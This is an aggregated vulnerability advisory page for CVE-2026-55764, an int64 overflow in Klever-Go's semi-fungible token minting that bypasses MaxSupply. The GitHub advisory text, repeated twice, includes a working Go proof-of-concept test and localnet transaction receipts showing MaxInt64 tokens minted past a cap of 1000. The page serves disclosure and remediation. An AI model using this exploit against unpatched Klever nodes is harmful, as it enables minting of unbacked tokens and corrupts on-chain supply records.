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Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

CVSS 4.0 8.7 HIGHEUVD CVSS 4.0 8.7 CVSS 4.0 · [email protected] · Secondary 8.7 HIGHCVSS_V4 Publisher rating HIGHFixed by github.com/klever-io/klever-go 1.7.19osv · severity unknownFixed by github.com/klever-io/klever-go 1.7.19KEV status unknown

cve-program · CVE-2026-55764

Published

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Read the publisher's advisory

euvd · EUVD-2026-68012

Published

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Read the publisher's advisory

nvd · CVE-2026-55764

Published

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Read the publisher's advisory

osv · GHSA-mrpp-v6pg-p54x

Published

## Summary On the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does `meta.Circulation += amount` with **no overflow guard**, then checks `if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps **negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance credit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in one transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard that the SFT path lacks. ## Affected code - `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`). - Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`. ## Impact A mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit, and corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it). ## Reachability Mint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the contract with no upstream upper bound. ## Proof of concept ### Unit test `TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds `Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation` wraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with `ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass. <details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary> ```go package systemAccount import ( "math" "testing" "github.com/klever-io/klever-go/common" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/tools/marshal" "github.com/stretchr/testify/require" ) func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) { t.Helper() marshalizer := &marshal.ProtoMarshalizer{} store := make(map[string][]byte) tracker := &commonMock.DataTrieTrackerStub{ RetrieveValueCalled: func(key []byte) ([]byte, error) { return store[string(key)], nil }, SaveKeyValueCalled: func(key []byte, value []byte) error { store[string(key)] = value return nil }, } kappAccount := &commonMock.KAppAccountHandlerStub{ DataTrieTrackerCalled: func() state.DataTrieTracker { return tracker }, } s := &systemAccountKApp{marshalizer: marshalizer} require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{ LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) { return kappAccount, nil }, })) return s, store } func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 { t.Helper() meta, err := s.SFTGetMeta(asset, nonce) require.NoError(t, err) require.NotNil(t, meta) return meta } // TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation // (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded // `meta.Circulation += amount`. With an amount near MaxInt64, Circulation // overflows int64 and wraps negative, so the signed cap check // `meta.Circulation > meta.MaxSupply` reads false and the function returns nil: // the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far // past the declared cap. func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) { asset := []byte("SFTASSET") nonce := []byte{0x01} const maxSupply = int64(1000) const startCirculation = int64(5) // amount is a raw int64 from the contract with no upstream upper bound; the // largest value it can carry is MaxInt64. With Circulation already at 5, // 5 + MaxInt64 overflows int64 and wraps negative. const overflowAmount = int64(math.MaxInt64) // 9223372036854775807 // --- setup: a nonce with a small FINITE MaxSupply and small Circulation --- s, _ := newExploitSystemAccountKApp(t) require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash"))) // seed an initial circulation of 5 (well within the cap) require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation)) before := readMeta(t, s, asset, nonce) require.Equal(t, maxSupply, before.MaxSupply) require.Equal(t, startCirculation, before.Circulation) t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation) // --- contrast: a normal over-cap amount IS correctly rejected --- // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded. contrastErr := s.SFTAddCirculation(asset, nonce, 2000) require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded, "a non-overflowing over-cap mint must be rejected") // the rejected call must NOT have persisted (Circulation unchanged at 5) afterContrast := readMeta(t, s, asset, nonce) require.Equal(t, startCirculation, afterContrast.Circulation, "rejected over-cap mint must not persist new circulation") t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d", contrastErr, afterContrast.Circulation) // --- the exploit: amount near MaxInt64 overflows Circulation negative --- exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount) after := readMeta(t, s, asset, nonce) t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply) t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr) // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded require.NoError(t, exploitErr, "BUG: overflowing mint should have been capped but returned nil (cap bypassed)") // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000 require.Negative(t, after.Circulation, "BUG: Circulation must have overflowed to a negative value") // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount. // Computed via non-constant vars so the deliberate overflow happens at runtime // (a constant expression would be rejected by the compiler). circ := startCirculation amt := overflowAmount expectedWrap := circ + amt // intentional int64 overflow at runtime require.Equal(t, expectedWrap, after.Circulation) t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+ "a real mint would have credited ~%d tokens with no matching debit.", maxSupply, after.Circulation, overflowAmount) } ``` </details> ### On-chain reproduction (live single-node localnet) SFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds normally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh receiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address — no `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is specifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.) <details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary> ```json { "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "type": 0, "typeString": "Transfer", "value": 1 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF", "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "amount": 1 } } ] } ``` </details> <details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary> ```json { "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e", "blockNum": 484, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 9223372036854775807 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF/1", "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "amount": 9223372036854775807 } } ] } ``` </details> ## Remediation 1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g. `if meta.Circulation < 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue <= 0` pattern), or check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic. 2. Consensus-affecting → gate behind the next activation flag.

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osv · GO-2026-6330

Published

klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply in github.com/klever-io/klever-go

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cve-program · CVE-2026-55764

Published

Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Source published
28 Aug 2026 22:08:27 UTC
Source modified
31 Aug 2026 18:24:52 UTC
Saved here
23 Oct 2026 15:48:27 UTC
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CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

euvd · EUVD-2026-68012

Published

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/syste…

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

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EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

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datePublished: Aug 28, 2026, 10:08:27 PM

dateUpdated: Aug 31, 2026, 6:24:52 PM

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18 Nov 2026 03:36:29 UTC
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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-55764

Published

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/syste…

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-190

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published: 2026-08-28T23:17:07.220

lastModified: 2026-09-09T21:09:13.080

Source published
28 Aug 2026 23:17:07 UTC
Source modified
9 Sep 2026 21:09:13 UTC
Saved here
25 Oct 2026 14:19:05 UTC
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NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-mrpp-v6pg-p54x

Published

klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

## Summary On the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does `meta.Circulation += amount` with **no overflow guard**, then checks `if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps **negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance credit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in one transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard that the SFT path lacks. ## Affected code - `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`). - Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`. ## Impact A mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit, and corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it). ## Reachability Mint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the contract with no upstream upper bound. ## Proof of concept ### Unit test `TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds `Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation` wraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with `ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass. <details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary> ```go package systemAccount import ( "math" "testing" "github.com/klever-io/klever-go/common" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/tools/marshal" "github.com/stretchr/testify/require" ) func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) { t.Helper() marshalizer := &marshal.ProtoMarshalizer{} store := make(map[string][]byte) tracker := &commonMock.DataTrieTrackerStub{ RetrieveValueCalled: func(key []byte) ([]byte, error) { return store[string(key)], nil }, SaveKeyValueCalled: func(key []byte, value []byte) error { store[string(key)] = value return nil }, } kappAccount := &commonMock.KAppAccountHandlerStub{ DataTrieTrackerCalled: func() state.DataTrieTracker { return tracker }, } s := &systemAccountKApp{marshalizer: marshalizer} require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{ LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) { return kappAccount, nil }, })) return s, store } func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 { t.Helper() meta, err := s.SFTGetMeta(asset, nonce) require.NoError(t, err) require.NotNil(t, meta) return meta } // TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation // (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded // `meta.Circulation += amount`. With an amount near MaxInt64, Circulation // overflows int64 and wraps negative, so the signed cap check // `meta.Circulation > meta.MaxSupply` reads false and the function returns nil: // the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far // past the declared cap. func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) { asset := []byte("SFTASSET") nonce := []byte{0x01} const maxSupply = int64(1000) const startCirculation = int64(5) // amount is a raw int64 from the contract with no upstream upper bound; the // largest value it can carry is MaxInt64. With Circulation already at 5, // 5 + MaxInt64 overflows int64 and wraps negative. const overflowAmount = int64(math.MaxInt64) // 9223372036854775807 // --- setup: a nonce with a small FINITE MaxSupply and small Circulation --- s, _ := newExploitSystemAccountKApp(t) require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash"))) // seed an initial circulation of 5 (well within the cap) require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation)) before := readMeta(t, s, asset, nonce) require.Equal(t, maxSupply, before.MaxSupply) require.Equal(t, startCirculation, before.Circulation) t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation) // --- contrast: a normal over-cap amount IS correctly rejected --- // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded. contrastErr := s.SFTAddCirculation(asset, nonce, 2000) require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded, "a non-overflowing over-cap mint must be rejected") // the rejected call must NOT have persisted (Circulation unchanged at 5) afterContrast := readMeta(t, s, asset, nonce) require.Equal(t, startCirculation, afterContrast.Circulation, "rejected over-cap mint must not persist new circulation") t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d", contrastErr, afterContrast.Circulation) // --- the exploit: amount near MaxInt64 overflows Circulation negative --- exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount) after := readMeta(t, s, asset, nonce) t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply) t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr) // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded require.NoError(t, exploitErr, "BUG: overflowing mint should have been capped but returned nil (cap bypassed)") // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000 require.Negative(t, after.Circulation, "BUG: Circulation must have overflowed to a negative value") // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount. // Computed via non-constant vars so the deliberate overflow happens at runtime // (a constant expression would be rejected by the compiler). circ := startCirculation amt := overflowAmount expectedWrap := circ + amt // intentional int64 overflow at runtime require.Equal(t, expectedWrap, after.Circulation) t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+ "a real mint would have credited ~%d tokens with no matching debit.", maxSupply, after.Circulation, overflowAmount) } ``` </details> ### On-chain reproduction (live single-node localnet) SFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds normally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh receiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address — no `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is specifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.) <details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary> ```json { "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "type": 0, "typeString": "Transfer", "value": 1 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF", "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "amount": 1 } } ] } ``` </details> <details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary> ```json { "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e", "blockNum": 484, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 9223372036854775807 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF/1", "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "amount": 9223372036854775807 } } ] } ``` </details> ## Remediation 1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g. `if meta.Circulation < 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue <= 0` pattern), or check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic. 2. Consensus-affecting → gate behind the next activation flag.

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CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH

osv · GO-2026-6330

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klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply in github.com/klever-io/klever-go

klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply in github.com/klever-io/klever-go

Source published
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